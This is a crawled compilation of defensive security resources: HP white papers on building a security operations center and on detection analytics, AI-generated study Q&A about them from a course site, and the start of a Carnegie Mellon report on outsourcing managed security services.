servers, applications, physical access, video analytic systems, and environmental controls. • C ategorization: The SIEM should provide an extensible taxonomy to describe events in an easily understandable format, easily group events by writing vendor-independent rules, and the ability to seamlessly integrate new devices. • S imple event correlation: The solution should be able to easily perform event aggregation and look at multiple events to detect something that would otherwise go unnoticed. This basic functionality allows several events to be correlated, producing an outcome that is then re-evaluated against other events in the flow. For example, five attempts to login to a system within one minute using the same user account could be indicative of a brute force login attempt. • M ulti-stage event correlation: The SIEM solution should be able to analyze information from a variety of disparate events—sometimes three or more different events—to determine if they are all related to the same incident. For example, the SIEM should be able to find the relationship between the firewall accepting the attack traffic and the attacked system communicating back out to the attacker. This combination must be picked out of the haystack of millions of events passing through the correlation engine. • P rioritization: The solution should have the ability to identify the business relevance of the target in question as it relates to the organization’s business imperatives. If the target is a revenue-generating system or contains classified data, it should be given the highest priority. If it is a seldom-used system in a lab, it can be placed further down the list to be addressed when the event management team has time. • S tatistical analysis: A SEIM should have the ability to detect events of significance by identifying mathematical deviations as anomalies from normal traffic such as sharp increases in activity on a particular port, protocol, or event type. • H istorical analysis: The solution should be able to provide historical or forensic information to help the SOC figure out what might have been missed. This is impossible in solutions without an advanced correlation engine capable of re-evaluating past data to look for compromises that may have gone undetected. The potential attacker might also be doing organizational reconnaissance, slowly mapping out the network in preparation for launching a full scale calculated attack at later time. The SOC needs the ability to detect unusual activity levels for long periods of time before an attack is launched. • P hysical and logical analysis/location correlation: The solution should be able to perform both physical and logical correlation. The SOC needs the ability to correlate between physical access systems and logical security devices—such as operating system logs or VPN data. This will provide the ability to detect incidents such as account sharing physical plus VPN access violation, a geographic access violation or suspicious physical activity like after hours building access. • A utomation: The solution should be able to add efficiencies and reduce errors in operational tasks. This is accomplished by supporting, enforcing, automating, and measuring operational workflow. • E xtensibility: The solution should be able to integrate in meaningful ways with external tools and processes. Examples of extensibility should include integration with enterprise IT service management products (incident and ticketing systems), ability to consume data from asset and configuration management systems, ability to interact with stored data through APIs for customized reporting or displays, etc. Rate this documentSign up for updates hp.com/go/getupdatedSummary Designing, building, and managing an internal SOC can dramatically improve an organization’s ability to rapidly recognize and respond to malicious information security events. A SOC can also assist in ensuring organizations leverage the full value of the often expensive investment in security technology and meet a myriad of regulatory compliance requirements. Approaching the challenge across the full scope of People, Process, and Technology will ensure the SOC is up to the task of effectively and efficiently recognizing and responding to malicious events. About HP Enterprise Security HP is a leading provider of security and compliance solutions for the modern enterprise that wants to mitigate risk in their hybrid environment and defend against advanced threats. Based on market-leading products from HP ArcSight, HP Fortify, and HP TippingPoint, the HP Security Intelligence Platform uniquely delivers the advanced correlation, application protection, and network defenses to protect today’s hybrid IT infrastructure from sophisticated cyber threats. HP Services HP ESP Global Services take a holistic approach to building and operating cyber security and response solutions and capabilities that support the cyber threat management and regulatory compliance needs of the world’s largest enterprises. We use a combination of operational expertise—yours and ours—and proven methodologies to deliver fast, effective results and demonstrate ROI. Our proven, use-case driven solutions combine market-leading technology together with sustainable business and technical process executed by trained and organized people. Learn more at hp.com/go/sioc . © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. The only warranties for HP products and services are set forth in the express warranty statements accompanying such products and services. Nothing herein should be construed as constituting an additional warranty. HP shall not be liable for technical or editorial errors or omissions contained herein. 4AA4-6169ENW, April 2013Business white paper | Security operations --- ## Source: https://montance.com/questions.php?id=99 [![pdf](content/images/icons/pdf.svg) HP - Building a Successful SOC 2014.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgbmlWa2JKOG1RekU/view?usp=sharing) HP Building A Successful SOC 2014 Resource covering SOC titled 'HP Building A Successful SOC 2014'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What are the three primary components of HP's SOC framework? A: People, Process, and Technology. * Q: What is the recommended 'Analyst-to-Device' ratio? A: It varies by complexity, but generally one analyst can monitor a specific volume of events; over-loading leads to missed alerts. * Q: What is the 'Tiered' staffing model described? A: Tier 1 (Triage), Tier 2 (Investigation/Response), and Tier 3 (Advanced Forensics/Hunt). * Q: What is the importance of 'Use Cases' in building a SOC? A: They define exactly what the SOC is monitoring for (e.g., 'Phishing', 'Data Exfiltration') and drive the technology configuration. * Q: How does HP define 'Situational Awareness'? A: The ability to correlate technical events with business criticality to understand the true impact of an incident. * Q: What is the role of the 'SOC Manager'? A: To oversee operations, manage the budget, ensure SLA compliance, and report to executive leadership. * Q: What technology is central to the SOC according to this paper? A: ArcSight SIEM (Security Information and Event Management). * Q: What is the 'Hybrid' model mentioned? A: Combining internal SOC capabilities with managed security services for specific functions (e.g., after-hours monitoring). * Q: Why is 'Career Path' important for SOC analysts? A: To prevent burnout and turnover; analysts need to see a progression from Tier 1 to Tier 3 or management. * Q: What metric is suggested to measure 'Efficiency'? A: The number of incidents closed per analyst per shift, balanced against the quality of the investigation. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgampxMkFxd3U4bGM/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/0B9l-G6EuipZgampxMkFxd3U4bGM/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=98 [![png](content/images/icons/png.svg) IT Data Management Maturity Scale.png](https://drive.google.com/file/d/0B9l-G6EuipZgampxMkFxd3U4bGM/view?usp=sharing) IT Data Management Maturity Scale Resource covering Maturity titled 'IT Data Management Maturity Scale'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What are the five levels of the IT Data Management Maturity Scale? A: Level 1: Chaos, Level 2: Reactive, Level 3: Proactive, Level 4: Service, Level 5: Value. * Q: What characterizes Level 1 (Chaos)? A: Ad-hoc processes, no central repository, data silos, and high operational risk. * Q: What characterizes Level 3 (Proactive)? A: Defined processes, centralized data management, automated reporting, and predictable service levels. * Q: What is the focus of Level 5 (Value)? A: Data is treated as a strategic asset; analytics drive business innovation and competitive advantage. * Q: What is the 'tipping point' between Level 2 and Level 3? A: The implementation of formal governance and standardized tools. * Q: Which level introduces 'Service Level Agreements' (SLAs)? A: Typically Level 3 or 4. * Q: What is the primary goal at Level 2 (Reactive)? A: Stabilizing operations and achieving basic visibility. * Q: What technology is typically introduced at Level 3? A: Centralized Log Management or SIEM. * Q: How does 'Cost' change across the maturity scale? A: It shifts from 'unpredictable/high operational cost' to 'optimized investment/high value return'. * Q: What represents the highest maturity in data usage? A: Predictive analytics and automated decision-making. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgc0w1MzdzRndwLWM/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgc0w1MzdzRndwLWM/view?usp=sharing]** Business white paper A vision for cyber security detection analytics Business white paper | A vision for cyber security detection analytics Table of contents 3 Detect breaches 3 Why is it so challenging to detect breaches? 4 A “river delta” analogy 5 All data is not equal 5 Security analytics is not a product 5 A practical note on retrieval speeds 6 A vision for the future 8 Conclusion 3Introduction Organizations are in the midst of considering how Big Data can assist in their plans to detect advanced cyber adversaries. Many are starting to build Big Data infrastructure and feed it both structured and unstructured data, but few have determined exactly what they will do with the data after they have collected it. This paper outlines the vision of what to do with all this security data; a vision for detecting advanced adversaries through pairing Big Data and data science. Detect breaches The security industry is not catching enough “bad guys”. Reports published by the vendor community show that the time between a breach occurring and a breach being detected average at 229 days.1 In fact, the majority of breaches are reported by external parties and law enforcement agencies based on stolen assets showing up in the underground economy.2 As a security community, these facts underscore what we all know to be true; that we need to consider new ways to detect our own breaches more quickly. Why is it so challenging to detect breaches? Currently available cyber security tools are pretty good at detecting known attack patterns. If an attack matches a signature, talks to a known bad place, uses unencrypted protocols, or happens within the infrastructure that we closely monitor, we can reliably detect it as it occurs (if the technology is set up properly). What we struggle with is detecting unknown attack types, new malicious behaviors, and insider threats. We also struggle with attackers hiding within a bell curve. For example, in the past many attacks occurred on Fridays at 3 p.m. just before a 3-day weekend. This allowed plenty of time to break in, ransack the place, clean up, and install a backdoor for persistent access. Today things have changed and we now often see attacks on Wednesdays at 10 a.m., because our adversaries understand that we are sensitive to volume and this is peak network traffic based on well-understood network behavior. The adversaries know how to hide in our normal bell curve of network activity. 1 Mandiant annual threat report, M-Trends, April 2014 2 2014 Data Breach Investigations Report, Verizon, 2014Business white paper | A vision for cyber security detection analytics 4A “river delta” analogy When considering the future of detection analytics, it is helpful to consider a “river delta” as analogous to the current enterprise security landscape. A river delta consists of streams, rivers, and an ocean (see figure 1). Endpoint and other security devices produce small streams of operational data. This data flows downstream and is aggregated into rivers of enterprise log and security data. Think of these rivers as including business operations context, IT operations logs, and information security events. When these are aggregated and monitored by real-time correlation in a security information and event management (SIEM), they anchor the modern Cyber Defense Center (CDC). This CDC monitors real-time correlated security events to detect indicators of potential attacks in progress. Given the modern threat landscape, we can now picture how real-time capability requires a correlation, and longer-term analytical capability as a supplement. We need to expand operational post-hoc analytics to the data “ocean”. This work in the data ocean is commonly assigned to a newly formed “hunt team”. There should be an important operational link between the hunt team and CDC, especially when an unknown attack takes place. Once this attack type is detected, it is then converted into automated (and hopefully) real-time detection, so in the future it is caught in real-time. In terms of geography, the tactical technologies for breach detection and prevention are in the “streams” of data (e.g., intrusion prevention), operational monitoring capabilities sit across the “rivers” of data (e.g., SIEM), and any strategic data analysis for breaches reside in the oceans of data (e.g., hunt teams). People and process are a critical link between these levels. Streams of data Riversof data Operational � Real-time correlation of known attack patterns by SIEM � Server data, security data, network dataEndpoint and network security Signature and pattern basedTactical � Endpoint protection and logs � Attacks easily detected and prevented Cyber defense: Real-time correlation Known attack patterns Hunt team: Detection analytics Unknown attack patterns Strategic � Improve efficacy of detection � Develop new detection methodsLandscape of detection analytics Ocean of data Figure 1. The modern threat landscape and the geography of security detection as analogous to a river delta Business white paper | A vision for cyber security detection analytics 5All data is not equal One important counter argument to Big Data is the fact that all data is not equal. There is a Big Data counter movement in the data analytics community that is referred to as the small data movement. The thought process is that you find the application or use case for the data you collect before you collect terabytes of it. The conventional wisdom, “collect it all and figure out what to do with it later,” is both false and expensive. Every bit of data collected must be processed, transmitted, normalized, analyzed (labor intensive), stored, and managed through a complete lifecycle. An example of wasteful data collection can be seen in typical router log collection. Some of the common logs seen from routers include: route up, route down, and route flap. Those three messages are not often (if ever) useful in enterprise security detection and having a terabyte of them will not magically make them useful. There is a strong tendency in enterprise security monitoring to collect the information that is easiest to get in big scale. A better way to approach Big Data and data science is to first find an application for the data and only then collect it on a large scale. Security analytics is not a product There are commercial products and open-source tools that organizations can use to perform analytics, but you can’t get the full value of enterprise security analytics by installing hardware or software only. Organizations are building systems that ingest hundreds of megabytes of security data per second, but their analysts can only read a few bytes per second. Even with great visualization tools, analysts will only be able to mentally process a few kilobytes of data per second. Tools can help pare down the dataset to a smaller size, but analysts also have to know what questions to ask. Enterprise security experts need to learn to think with an analytical mindset. They need to be curious, explore the data they collect, find patterns, and follow the trail of an investigation wherever it leads. Looking at individual events or correlated events are not sufficient anymore. While the hunt team is a separate role for cyber defense analyst in larger organizations, smaller organizations will not have this luxury. Existing security analysts should be trained to look at their data with an analytical and curious mindset. A practical note on retrieval speeds One critical factor preventing enterprise security teams from optimally exploring data is poor retrieval speeds. The Big Data space now has technology, such as columnar data stores, which can quickly retrieve results, provided the data is stored in an optimized fashion (structured data is the fastest). As you build out plans, we caution to not only consider how fast you can place data in your ocean, but also to consider if you can get the data out of that ocean, and how quickly it needs to be retrieved in order to be useful to your security teams. Our experience shows that optimal exploration environments require results in seconds (not minutes) to capture the creativity and the “Aha” moments of a hunt team.Business white paper | A vision for cyber security detection analytics 6A vision for the future To apply data sciences for efficient security detection in the future, you need mature capabilities as you work to detect, explain, explore, and understand security events in your environment. Figure 2 provides a vision, mapping, and strategy for your current and future detection analytics needs. Existing detection is the base detection technology stack we commonly use today. • Detect: Current detection methods include real-time correlation and log aggregation; this is the single pane of glass and the ability to highlight the events of interest. • Explain: Explaining often results in reporting, this includes threat, vulnerability, and compliance reports. These are topics that need careful construction and effective communication to leadership. • Explore: Exploration requires the ability to query data in an ad-hoc manner to produce small datasets on which you can conduct basic formal analysis. • Understand: Context is an important component of detection analysis because it can be tricky to decide whether unusual activity is truly a breach or if it is simply a benign event. Having context is a critical component in that decision. To gather context, we can collect information about assets, networks, and identities that we are protecting. This context will be critical in our decision on whether an event is indeed malicious and should be escalated as a breach or if, for example, the event is simply a compliance scan. Emerging detection— an analytical capability—is available either as a piecemeal component of enterprise security programs or as individual point solutions, but not yet as a coherent technology stack. • Detect: Consider historical analysis and imagine the ability to conduct long-term correlation as an immediate follow on to real-time correlation. You could escalate an event of interest and then immediately search for every historical instance of that correlation event. This kind of cyber epidemiology makes policy decisions about your enterprise security possible, which is based on an analysis of “patient zero” rather than just cleaning up an infected host. • Explain: Emerging scoring requires the ability to profile IP addresses, users, systems, servers, and other elements of the risk picture in our enterprises at a much higher level of fidelity. There is a real danger in what is called “feel good” data science here, that is mixing quantitative elements with qualitative descriptors and this can water down the value of the measurement. Understand Explore Explain Detect Existing Emerging Advanced Target Basic context • Asset, network • Identity Ad-hoc query • Small dataset • Basic analysis Reporting • Threat • Compliance Real-time • Real-time correlation • Log aggregationAdvanced context • Application • Flow & DPI Advanced search • Indicator lists • Pivot search Scoring • Risk fidelity • Profiling Historical analysis • Long-term correlation • EpidemiologyTechnical intelligence • Malware detonation • IOC identification Analytical query • Big Data management • Analytical data mart Data mining • Clustering, aggregation • Affinity grouping Statistical analysis • Distributed R • Standard deviationHuman intelligence • Sentiment analysis • Motivation Visualization • Exploratory data analysis Machine learning • Classification • Other algorithms Behavioral • Insider threat • BaseliningFrontier Depth => Increase in effectivenessFigure 2. A vision for detection analytics Business white paper | A vision for cyber security detection analytics 7• Explore: Advanced searching assists with exploration. The ability to pivot through security data is particularly useful; for example, if you explore a user’s behavior and see the user interact with a particular server, you can then pivot and see what else that server has done subsequently. This also affords the ability to conduct effective searches of the enterprise security data looking for known lists of indicators of compromise (IOCs). • Understand: True understanding of a breach will often require advanced context. This context would include things like internal application error logs. One example is, collecting application logs from the HP Fortify runtime agent so they can report into an HP ArcSight SIEM. Another key to understanding a breach is network flow and deep packet inspection data. It allows deeper root-cause analysis in order to truly understand if an ongoing attack deserves to be escalated. Advanced detection capabilities are the current frontier of development, both in the vendor community and in advanced enterprise security programs. • Detect: Advanced detection includes advanced statistical analysis, the ability to train models and detect outliers across any of your enterprise security data feeds. Even an insider has to deviate on at least one measurable parameter in order to conduct malicious activity. • Explain: Here we find one of the greatest assets we have available to us as a community to date; and that is data mining. Here are the main disciplines: –Clustering , at first glance, does not appear to be that valuable for security. However, when you cluster security data you almost inevitably identify large numbers of false positives. When you clean up these false positives on your security devices, you effectively make the deep muddy river of data that we monitor clearer and shallower. –Classification is used to classify data into types for comparative analysis and cross correlation. –Correlation has been around a long time and provides the analytical engine for modern enterprise SIEM deployments. –Aggregation also seems less powerful than it actually is. Imagine an aggregate profile of a server, a user, or an IP address based on long-term historical behavior information; this type of aggregation can easily profile attackers and then allow you to identify similar profiles with the addition of a scoring algorithm. –Affinity grouping is a very interesting capability. An affinity group is best articulated in an anecdotal (and possibly folklore) retail use case called the “beer and diapers analogy”. When retail companies analyze what you buy and demographically categorize you, interesting insights are found. One such insight is, when men buy diapers they also buy beer. Thus keeping beer en route to diapers increases the sale of beer. In a security context, malicious command-and-control infrastructure within your environment has a higher affinity for itself and its peer nodes than for the normal infrastructure surrounding it. This allows us a significant advance in detection capability. This type of lesson is called a “domain transfer” and there are a number of effective lessons learned from other domains in data science (such as marketing) that can be applied to information security. • Explore: Analytical query takes your Big Data and turns it into small data, with which you can actually do something. Big Data management takes large amounts of data and turns it into analytically tractable small amounts of data that can be retrieved in a reasonable timeframe. These are often called queries or data marts and these are where you apply your advanced analytical capabilities. • Understand: Technical intelligence in the “understand” row is the concept of producing your own indicators of compromise. Currently, the majority of the industry purchases this intelligence. It is generic intelligence aggregated from open sources and occasionally augmented by honeypot collection projects. The ability to detect new malware in your environment, detonate it, and produce indicators to be shared across your enterprise begins to simulate an immune response and that is clearly a desired direction for the security industry. Business white paper | A vision for cyber security detection analytics Rate this document Share with colleaguesSign up for updates hp.com/go/getupdatedTarget detection capabilities, the ultimate end game for the technology stack, is behavioral detection of advanced and insider threats, and there’s a deeper focus on baselining normal as well as abnormal behavioral profiles. • Detect: Baselining, as much as possible, in your environment will be helpful in advanced detection—and the smarter we can get at baselining, the better we will be at identifying abnormal and noteworthy activity. A behavioral white list, where you deny all traffic and then only allow explicit traffic, is still a ways off for most enterprises but is a long-term target. • Explain: As data matures, we want to increase our depth from data mining and move into machine-learning algorithms. There may not be a clear differentiation but one big impact of machine learning algorithm is automated classification of data types—on which further analysis can be applied. Often, these types define a norm and we can then use this in our dataset for analysis. • Explore: We need true exploratory visualization for security data. While there are visualization tools that are being effectively applied to information security problems, we do not have a dedicated security visualization tool. The detection capability that is made possible by visualizing large amounts of data and being able to cascade disparate visualizations through a selection processes, allows you to perform root-cause analysis and remove data that is not of interest. Then you can dig in visually to the remaining data and it will be richer in malicious activity. • Understand: Human intelligence advances us beyond technical intelligence. The idea is that we could understand and gather human sentiment and motivation indicators based on observed activity (e.g., Twitter scraping or IRC monitoring). While this would be a boon to our work, it is an unstructured data problem and quite complex to address effectively. Imagine the ability to put human sentiment under the same pane of glass as enterprise log data. This may be one privacy bridge too far, but it describes a powerful capability for detecting pending campaign-based attacks. Conclusion As a cyber security industry, we need to be catching more attacks, and catching them earlier. In order to do that, we need a shift in how we look at our data. Just collecting large amounts of Big Data is not useful by itself. We need a guiding vision and plan in order to build systems that will grow with our needs as we work to get to the target state, which is reliable behavioral detection of advanced attacks and insider threats. Learn more at hp.com/go/SIOCAbout HP Enterprise Security HP is a leading provider of security and compliance solutions for the modern enterprise that wants to mitigate risk in its hybrid environment and defend against advanced threats. Based on market-leading products from HP ArcSight, HP Fortify, HP Atalla, and HP TippingPoint, the HP Security Intelligence Platform uniquely delivers the advanced correlation, application protection, and network defenses to protect today’s hybrid IT infrastructure from sophisticated cyber threats.Business white paper | A vision for cyber security detection analytics © Copyright 2015 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. The only warranties for HP products and services are set forth in the express warranty statements accompanying such products and services. Nothing herein should be construed as constituting an additional warranty. HP shall not be liable for technical or editorial errors or omissions contained herein. 4AA5-6876ENW, February 2015 --- ## Source: https://montance.com/questions.php?id=97 [![pdf](content/images/icons/pdf.svg) HP - Vision Cyber Security Analytics.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgc0w1MzdzRndwLWM/view?usp=sharing) HP Vision Cyber Security Analytics Resource covering Analytics titled 'HP Vision Cyber Security Analytics'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the 'River Delta' analogy used in this paper? A: Comparing the flow of data in an enterprise to a river; the SOC needs to filter the 'sediment' (noise) to find the 'gold' (threats). * Q: What is the primary limitation of 'Signature-based' detection? A: It can only detect known threats; it fails against zero-day attacks and novel techniques. * Q: How does 'Behavioral Analytics' differ from signature detection? A: It establishes a baseline of normal activity and flags deviations (anomalies) as potential threats. * Q: What is the role of 'Big Data' in security analytics? A: It allows for the storage and processing of massive volumes of historical data for long-term trend analysis and hunting. * Q: What is 'User and Entity Behavior Analytics' (UEBA)? A: Focusing analytics on the actions of users and devices (entities) to detect insider threats and compromised accounts. * Q: What is the 'DNS Analytics' use case? A: Detecting command and control (C2) traffic and data exfiltration by analyzing DNS query patterns (e.g., DGA domains). * Q: What is 'Peer Group Analysis'? A: Comparing a user's behavior to that of their peers (e.g., 'other accountants') to identify anomalies. * Q: Why is 'Context' critical for analytics? A: Without context (asset value, user role), an anomaly is just a statistical outlier; context turns it into a prioritized alert. * Q: What is the 'Feedback Loop' in analytics? A: Analysts validating alerts to train the machine learning models, improving accuracy over time. * Q: What is the vision for the 'Future SOC'? A: A highly automated, intelligence-driven center where analytics handle the bulk of detection and analysts focus on complex investigations. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgR0JGeEtNWkZQOE0/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/0B9l-G6EuipZgR0JGeEtNWkZQOE0/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=96 [![jpg](content/images/icons/jpg.svg) Log Collection key errors to avoid.jpg](https://drive.google.com/file/d/0B9l-G6EuipZgR0JGeEtNWkZQOE0/view?usp=sharing) Log Collection Key Errors To Avoid Resource covering Logging titled 'Log Collection Key Errors To Avoid'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is Error #1 in log collection? A: Collecting everything without a plan (The 'Hoarder' mentality). * Q: What is the consequence of Error #1? A: Storage costs explode, and finding relevant data becomes impossible due to noise. * Q: What is Error #2? A: Ignoring the 'Chain of Custody'. Logs must be legally admissible. * Q: What is Error #3? A: Collecting logs but never looking at them (Write-only memory). * Q: What is Error #4? A: Relying solely on default logging configurations (which are often insufficient). * Q: What is Error #5? A: Not synchronizing time (NTP) across all devices. * Q: What is the impact of unsynchronized time? A: It makes event correlation impossible and ruins forensic timelines. * Q: What is Error #6? A: Failing to secure the logs (allowing attackers to delete their tracks). * Q: What is the recommendation for 'Log Format'? A: Standardize log formats (e.g., Syslog, CEF) to simplify parsing. * Q: What is the final error mentioned? A: Not having a retention policy (keeping logs too long or not long enough). ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgZV8ya3dwNndxRUk/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgZV8ya3dwNndxRUk/view?usp=sharing]** Carnegie M ellon U niversit y Research Showcase @ C MU Software Engineering Institute 1-2003 Out sour cing M anaged S ecurity Services Julia H. Al len Carnegie M ellon University, jha@s ei.cmu.edu Derek G abbard Carnegie M ellon University, dm g@a ndrew.cmu.edu Christophe r J. May Carnegie M ellon University, cjmay@cm u.edu Follow thi s and a dditional w orks at:http://r eposit ory.cmu.edu/s ei This Technical R eport is brought to you for f ree and ope n access by Research S howcase @ C MU. It has be en accepted for inclusion in S oftware Engineering Institute by an author ized admini strator of R esearch S howcase @ C MU. For mor e infor mation, p lease contactresearch- showcase@a ndrew.cmu.edu.Recomme nded Citation . Outsourcing Managed Security Services Authors Julia Allen Derek Gabbard Christopher May Contributors Eric Hayes Carol Sledge BITS IT Service Providers Working Group January 2003 This report was developed by the Networked Systems Survivabili ty Program at the Software Engineering Institute through funding from the General Services Administration Federal Computer Incident Response Center (GSA FedCIRC). SECURITY IMPROVEMENT MODULE CMU/SEI -SIM-012 Copyright 2002 Carnegie Mellon University ii Outso urcing Managed Security Services CMU/SEI -SIM-012 Authors Julia Allen Derek Gabbard Christopher May Contributors Eric Hayes Carol Sledge BITS IT Service Providers Working Group January 2003 Networked Systems Survivability Program Unlimited distri bution subject to the copyright. Copyright 2002 Carnegie Mellon University iii This report was prepared for the SEI Joint Program Office HQ ESC/DIB 5 Eglin Street Hanscom AFB, MA 01731 -2116 The ideas and findings in this report should not be construed as an official DoD position. It is published in the interest of scientific and technical information exchange. FOR THE COMMANDER Jay Minsky Contracting Officer’s Representative This report was developed by the Networked Systems Survivability Program at the Software Engineering Institute through funding from the General Services Administration Federal Computer Incident Response Center (GSA FedCIRC). The Software Engineering Institute is a federally funded research and development center sponsored by the U.S. Department of Defense. Copyright 2002 b y Carnegie Mellon University. Requests for permission to reproduce this document or to prepare derivative works of this document should be addressed to the SEI Licensing Agent. NO WARRANTY THIS CARNEGIE MELLON UNIVERSITY AND SOFTWARE ENGINEERING INSTIT UTE MATERIAL IS FURNISHED ON AN "AS -IS" BASIS. CARNEGIE MELLON UNIVERSITY MAKES NO WARRANTIES OF ANY KIND, EITHER EXPRESSED OR IMPLIED, AS TO ANY MATTER INCLUDING, BUT NOT LIMITED TO, WARRANTY OF FITNESS FOR PURPOSE OR MERCHANTABILITY, EXCLUSIVITY, OR RESU LTS OBTAINED FROM USE OF THE MATERIAL. CARNEGIE MELLON UNIVERSITY DOES NOT MAKE ANY WARRANTY OF ANY KIND WITH RESPECT TO FREEDOM FROM PATENT, TRADEMARK, OR COPYRIGHT INFRINGEMENT. This work was created in the performance of Federal Government Contract Numb er F19628 -00-C-0003 with Carnegie Mellon University for the operation of the Software Engineering Institute, a federally funded research and development center. The Government of the United States has a royalty -free government -purpose license to use, dupli cate, or disclose the work, in whole or in part and in any manner, and to have or permit others to do so, for government purposes pursuant to the cop yright license under the clause at 252.227 -7013. Use of any trademarks in this report is not intended in an y way to infringe on the rights of the trademark holder. For information about purchasing paper copies of SEI reports, please visit the publications portion of our web site (http://www.sei.cmu.edu/publications/pubweb.html). Copyright 2002 Carnegie Mellon University iv Copyright 2002 Carnegie Mellon University v Acknowledgements The authors would like to thank Sheila Rosenthal, reference librarian at the Software Engineering Institute, for identifying and obtaining pertinent source material and securing copyright permissions. The authors would also like to thank those who provide d sample service -level language and reviewed this report for their insight, support, and substantive comments; their efforts greatly enhanced this report C. Warren Axelrod BITS IT Service Providers Working Group; Pershing: a Division of Donaldson, Lufki n & Jenrette Securities Corporation, a CSFB Company Faith Boettger BITS IT Service Providers Working Group; BITS Nick Brigman RedSiren Technologies Roopangi Kadakia FirstGov, Office of Citizen Services & Communication, General Services Administration Al Leary RedSiren Technologies Ray Lewis Cisco Alan Meyer BITS IT Service Providers Working Group; Harris Bankcorp Kevin Nixon Exodus Kathleen Powers RedSiren Technologies Gary Todd United States Secret Service George Vrabel BITS IT Service Pr oviders Working Group; Bank of America Amit Yoran Symantec (formerly Riptech) Software Engineering Institute: Rich Caralli Klaus -Peter Kossakowski Bradford Willke William Wilson Carol Woody Copyright 2002 Carnegie Mellon University vi Copyright 2002 Carnegie Mellon University 1 Table of Contents Table of Contents ................................ ................................ ................................ .................. 1 Outsourcing Managed Security Services ................................ ................................ .............. 3 Benefits of Engaging an MSS Provider ................................ ................................ ............ 4 Risks in Engaging an MSS Provider ................................ ................................ ................ 6 How to Use These Practices ................................ ................................ ............................. 8 Termin ology ................................ ................................ ................................ .................... 11 Acronyms ................................ ................................ ................................ ......................... 12 Practice 1: Content Guidance for an MSS Request for Proposal ................................ ......15 P1.1 Business Attributes ................................ ................................ ............................. 16 P1.2 Service Attributes ................................ ................................ ................................ 21 P1.3 Security Practices ................................ ................................ ................................ 28 P1.4 Case Studies ................................ ................................ ................................ ........ 37 P1.5 Checklist ................................ ................................ ................................ .............. 38 Practice 2: Guidance for Evaluating an MSS Proposal ................................ ...................... 41 P2.1 Business Attributes ................................ ................................ ............................. 42 P2.2 Service Attributes ................................ ................................ ................................ 50 P2.3 Security Practices ................................ ................................ ................................ 52 P2.4 Evaluation Matrix ................................ ................................ ............................... 55 Practice 3: Content Guidance for an MSS Service Level Agreement ............................... 59 P3.1 General SLA Guidelines ................................ ................................ ..................... 61 P3.2 Business Attributes ................................ ................................ ............................. 64 P3.3 Service Attributes ................................ ................................ ................................ 69 P3.4 Security Practices ................................ ................................ ................................ 71 Practice 4: Transitioning to MSS ................................ ................................ ........................ 77 Practice 5: Managing an Ongoi ng MSS Provider Relationship ................................ ........ 81 Practice 6: Terminating an MSS Provider Relationship ................................ .................... 87 Practice 7: Considerations for Network Bound ary Protection as Managed Security Services ................................ ................................ ................................ ................................ 91 Firewall Service ................................ ................................ ................................ ............... 91 Intrusion Detection System Service ................................ ................................ ............... 94 Virtual Private Network Service ................................ ................................ ..................... 97 Practice 8: Considerations for Vulnerability Assessment as a Managed Security Service ................................ ................................ ................................ ................................ ............ 101 Considerations Prior to Conducting a VA ................................ ................................ ....102 VA Activities ................................ ................................ ................................ ................. 104 Post-Assessment Reporting and Consulting O ptions ................................ ................... 105 Bibliography ................................ ................................ ................................ ...................... 107 Copyright 2002 Carnegie Mellon University 2 Copyright 2002 Carnegie Mellon University 3 Outsourcing Managed Security Services As computer attack patterns shift and threats to networks change and grow almost daily, it is critical that organizations achieve reliable information security. Investment decisions about information security are best considered in the context of managing business risk. Risks can be accepted, mitigated, avoided, or transferred. Outsourcing select ed managed security services (MSS) by forming a partnership with a Managed Security Service Provider (MSSP) is often a good solution for transferring information security responsibility and operations. Although the organization still owns information secur ity risk and business risk, contracting with an MSSP allow s it to share risk management and mitigation approaches.1 More and more organizations are turning to MSSPs for a range of security services to reduce costs and to access skilled staff whose fu ll-time job is security. Such services may include • network boundary protection, including managed services for firewalls, intrusion detection systems (IDSs), and virtual private networks (VPNs) • security monitoring (may be included in network boundary prote ction) • incident management, including emergency response and forensic analysis. (This service may be in addition to security monitoring.) • vulnerability assessment and penetration testing • anti-virus and content filtering services • information security risk a ssessments • data archiving and restoration • on-site consulting Managed security services is one of the fastest growing market segments in the security marketplace according to Gartner, a research and IT consulting company. In terms of some reported market t rends, Gartner reports that by 2005, 60 percent of enterprises will outsource the monitoring of at least one network boundary security technology [Pescatore 02]. The META Group, also a research and IT consulting company, expects to see maturity first in th e managed VPN and firewall arenas. MSS -based vulnerability scanning is forecast to mature next (2003), followed by intrusion detection (2003 - 2004), security monitoring and response (2004), and authentication and administration (2004 - 2005) [King 01]. Ac cording to IDC, a division of the research and 